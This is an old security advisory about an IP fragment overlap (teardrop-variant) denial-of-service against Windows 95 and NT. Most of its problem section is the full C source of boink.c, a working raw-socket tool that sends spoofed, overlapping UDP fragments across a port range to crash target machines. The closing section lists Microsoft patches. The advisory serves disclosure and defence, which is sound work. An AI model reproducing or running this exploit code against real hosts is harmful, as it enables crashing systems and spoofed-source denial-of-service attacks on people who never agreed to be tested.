COMMAND

    IP fragment overlap

SYSTEMS AFFECTED

    Win95, Win NT

PROBLEM

    It seems that  that teardrop is  going to have  big number of  its
    children.  Another one comes, this time as modification of  bonk.c
    (IP fragment overlap #2).  This one was posted to rootshell.com.

    As it stood before, bonk.c just simply attacked port 55.  Port  55
    isn't always open.   As of this  modification, you provide  both a
    "start"  and  a  "stop"  port  to  test  for  the weakness, in the
    attempt to catch a possibly open port.  Evan L. Carew posted me  a
    "fixed" version of the modified boink.c source so it will  compile
    on Linux 2.0.32  and later kernels  with gcc version  2.7.2.3 (and
    possiblly earlier  versions of  both gcc  and Linux).   I replaced
    old code.   The problems  with the  code were  an out  of date  IP
    protocol macro, and  an include file  that doesn't exist  on Linux
    today  (it may have  in the past).    As Even said, "this code  is
    not intended to be used to destroy NT  or WIN95 boxes, but  rather
    to test your systems".

    /*
       boink.c - a modified bonk.c
       ipfrag4.html

       ==bendi - 1998==

       bonk.c        -         5/01/1998
       Based On: teardrop.c by route|daemon9 & klepto
       Crashes *patched* win95/(NT?) machines.

       Modified by defile(efnet) [9/01/98]
    */

    #include <stdio.h>
    #include <string.h>

    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    /* #include <netinet/protocols.h> */
    #include <arpa/inet.h>

    #define FRG_CONST       0x3
    #define PADDING         0x1c

    struct udp_pkt
    {
            struct iphdr    ip;
            struct udphdr   udp;
            char data[PADDING];
    } pkt;

    int     udplen=sizeof(struct udphdr),
            iplen=sizeof(struct iphdr),
            datalen=100,
            psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
            spf_sck;                        /* Socket */

    void usage(void)
    {
         /* fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> [num]\n"); */
            fprintf (stderr, "Usage: ./boink <src_addr> <dst_addr> <start_port> <stop_port> [num]\n");
            exit(0);
    }

    u_long host_to_ip(char *host_name)
    {
            static  u_long ip_bytes;
            struct hostent *res;

            res = gethostbyname(host_name);
            if (res == NULL)
                    return (0);
            memcpy(&ip_bytes, res->h_addr, res->h_length);
            return (ip_bytes);
    }

    void quit(char *reason)
    {
            perror(reason);
            close(spf_sck);
            exit(-1);
    }

    int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt, int dst_prt)
    {
            int     bs;
            struct  sockaddr_in to;

            memset(&pkt, 0, psize);
                                                    /* Fill in ip header */
            pkt.ip.version = 4;
            pkt.ip.ihl = 5;
            pkt.ip.tot_len = htons(udplen + iplen + PADDING);
            pkt.ip.id = htons(0x455);
            pkt.ip.ttl = 255;
            pkt.ip.protocol = IPPROTO_UDP;
            pkt.ip.saddr = src_addr;
            pkt.ip.daddr = dst_addr;
            pkt.ip.frag_off = htons(0x2000);        /* more to come */

            pkt.udp.source = htons(src_prt);        /* udp header */
            pkt.udp.dest = htons(dst_prt);
            pkt.udp.len = htons(8 + PADDING);
                                                    /* send 1st frag */

            to.sin_family = AF_INET;
            to.sin_port = src_prt;
            to.sin_addr.s_addr = dst_addr;

            bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
                    sizeof(struct sockaddr));

            pkt.ip.frag_off = htons(FRG_CONST + 1);         /* shinanigan */
            pkt.ip.tot_len = htons(iplen + FRG_CONST);
                                                            /* 2nd frag */

            bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
                    (struct sockaddr *) &to, sizeof(struct sockaddr));

            return bs;
    }

    void main(int argc, char *argv[])
    {
            u_long  src_addr,
                    dst_addr;

            int     i,
                   /* src_prt = 55,
                      dst_prt = 55, */
                    start_port,
                    stop_port,
                    bs = 1,
                    pkt_count;

            if (argc < 5)
                    usage();

            start_port = (u_short) atoi (argv[ 3 ]);
            stop_port = (u_short) atoi (argv[ 4 ]);
            if (argc == 6)
                  pkt_count = atoi (argv[ 5 ]);


            if (start_port >= stop_port ||
                stop_port <= start_port) {

                    start_port = 25;
                    stop_port = 65;

            }


            if (pkt_count == 0)     pkt_count = 10;

            /* Resolve hostnames */

            src_addr = host_to_ip(argv[1]);
            if (!src_addr)
                    quit("bad source host");
            dst_addr = host_to_ip(argv[2]);
            if (!dst_addr)
                    quit("bad target host");

            spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
            if (!spf_sck)
                    quit("socket()");
            if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
            sizeof(bs)) < 0)
                    quit("IP_HDRINCL");

            for (i = 0; i < pkt_count; ++i)
            {
                    int j;

            printf ("(%d)%s:%d->%d\n", i, argv[ 2 ], start_port, stop_port);

                    for (j = start_port; j != stop_port; j++) {

                 /* fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);  */
                        fondle (spf_sck, src_addr, dst_addr, j, j);

                    }
                    usleep(10000);
            }

            printf("Done.\n");
    }

SOLUTION

    The Teardrop2-fix has now been posted for NT 3,5 and 4.0 i386  and
    Alpha platforms, postSP3 only. For links check the:

        http://www.ntbugtraq.com/ntfixes.asp

    page with the Language set  to USA, version to NT40,  processor as
    required, SP  version to  SP3 then  click the  "New" radio button.
    You may try standard MS location as well:

        ftp://ftp.microsoft.com
        /bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/teardrop2-fix/
        /bussys/winnt/winnt-public/fixes/usa/NT351/hotfixes-postSP5/

    Windows 95 without Winsock installed is not vulnerable.  All other
    versions of Windows 95 should update to Winsock 2.  Microsoft  has
    released an update called the  "Winsock 2 update" for Windows  95.
    According to Microsoft, this  update contains fixes for  all known
    vulnerabilities in the Windows 95 TCP/IP stack.  Get it at:

        www.microsoft.com/windows95/info/ws2.htm

    Windows 98  RC0 (release  candidate 0)  contains all  known TCP/IP
    updates, and is not vulnerable to this attack.